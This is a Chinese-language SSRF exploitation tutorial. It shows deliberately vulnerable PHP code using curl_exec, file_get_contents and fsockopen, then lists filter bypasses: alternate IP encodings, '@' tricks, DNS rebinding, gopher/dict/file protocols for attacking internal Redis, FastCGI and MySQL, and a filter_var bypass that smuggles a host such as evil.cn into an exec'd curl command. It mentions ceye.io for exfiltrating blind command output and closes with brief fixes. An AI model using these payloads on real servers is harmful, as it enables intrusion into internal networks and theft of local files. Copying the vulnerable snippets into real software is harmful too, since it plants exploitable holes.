SSRF利用姿势

SSRF简介

SSRF(Sever-Side Request Forgery, 服务器端请求伪造)

造成原因主要是服务器端提供的接口包含了所请求内容的URL参数
并未对这个参数过滤且客户端可控URL参数

造成的危害主要是

  • 对服务器内网或本地端口扫描,获取服务信息
  • 攻击运行在内网或本地的应用程序
  • 利用File协议读取服务器本地文件

SSRF漏洞代码

curl_exec造成的SSRF

<?PHP
    function curl($url){  
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_exec($ch);
        curl_close($ch);
    }
    $url = $_GET['url'];
    curl($url);
?>

file_get_contents造成的SSRF

<?php
    if (isset($_POST['url'])) { 
        $content = file_get_contents($_POST['url']); 
        $filename ='./images/'.rand().';img1.jpg'; 
        file_put_contents($filename, $content); 
        echo $_POST['url']; 
        $img = "<img src=\"".$filename."\"/>"; 
    }
    echo $img;
?>

fsockopen造成的SSRF

<?php
function Getfile($host, $port, $link){
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if(!$fp){
        echo "$errstr (error number $errno) \n";
    }else{
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "HOST $host \r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $content = '';
        while(!feof($fp)){
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}

绕过SSRF过滤

利用进制

IP 127.0.0.1
8进制格式:0177.0.0.1
16进制格式:0x7F.0.0.1
10进制整数格式:2130706433
16进制整数格式:0x7F000001

利用@

例如: http://www.baidu.com@127.0.0.1/
一定程度上会被解析成内网地址

DNS Rebinding

1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
2、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
3、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
4、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

介绍一个网站http://ceye.io/

它可以进行DNS Rebinding,也可以记录HTTP Request和DNS Query

可以用来外带无回显命令执行数据

利用短地址

http://dwz.cn/11SMa  >>>  http://127.0.0.1

利用[::]

http://[::]:80/  >>>  http://127.0.0.1

利用句号

127。0。0。1  >>>  127.0.0.1

利用.

127.0.0.1.   >>> 127.0.0.1

利用协议

dict://       #泄露安装软件版本信息,还可以查看端口,操作内网redis服务
SFTP://
TFTP://
LDAP://
gopher://     #利用Gopher攻击Redis、攻击Fastcgi、攻击mysql服务
file://       #读取文件
local_file:// #在python的urllib.urlopen()函数中可以读取本地文件

利用302跳转

some trick

filter_var() bypass

有如下代码

<?php
   $url = $_GET['url'];
   echo "Argument: ".$url."\n";
   if(filter_var($url, FILTER_VALIDATE_URL)) {
      $r = parse_url($url);
      var_dump($r);
      if(preg_match('/m0yuqi\.cn$/', $r['host'])) 
      {
         exec('curl -v -s "'.$r['host'].'"', $a);
         print_r($a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

filter_var($url, FILTER_VALIDATE_URL)过滤显然是检查是否为有效url
parse_url($url)获取url的host
preg_match对host进行正则匹配
在url中可以包含一些字符可以绕过上面的过滤,例如,;
所以上面的绕过方案为

# 80端口是为了curl的请求
0://evil.cn:80;m0yuqi.cn:80
或
0://evil.cn:80,m0yuqi.cn:80
# 若含有执行函数可以创建一个空变量
0://evil$m0yuqi.cn

更换evil可以请求到指定ip:port

parse_url和libcurl

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况

php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

如:

http://u:p@a.com:80@b.com/

php解析结果:
    schema: http 
    host: b.com
    user: u
    pass: p@a.com:80
libcurl解析结果:
    schema: http
    host: a.com
    user: u
    pass: p
    port: 80
    后面的@b.com/会被忽略掉

[ip]是一种host的形式,libcurl在解析时候认为[]包裹的是host

修复方案

  • 限制协议为HTTP、HTTPS
  • 禁止30x跳转
  • 设置URL白名单或者限制内网IP
Edit with markdown